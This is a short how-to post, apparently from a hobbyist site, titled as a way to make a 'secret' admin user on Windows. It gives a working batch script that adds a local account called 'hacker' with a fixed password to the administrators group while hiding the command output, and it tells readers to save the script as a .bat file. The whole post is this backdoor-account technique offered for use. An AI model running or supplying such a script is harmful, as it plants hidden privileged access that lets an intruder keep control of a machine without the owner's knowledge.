HOW TO MAKE A SECREAT ADMIN USER IN ANY VERSION OF WINDOWS

just copy the following code in notepad 

1. open notepad copy the code below and paste it in notepad 
2. @echo off
   SET SECRETUSER=hacker
   SET SECRETPASSWORD=nilesh
   
   net user %SECRETUSER% %SECRETPASSWORD% /add && net localgroup administrators %SECRETUSER% /add>nul 2>&1
    
3. and save the file as any name with bat extension  like niki.bat remember that .bat is the file extension 

                                                                                           thanks K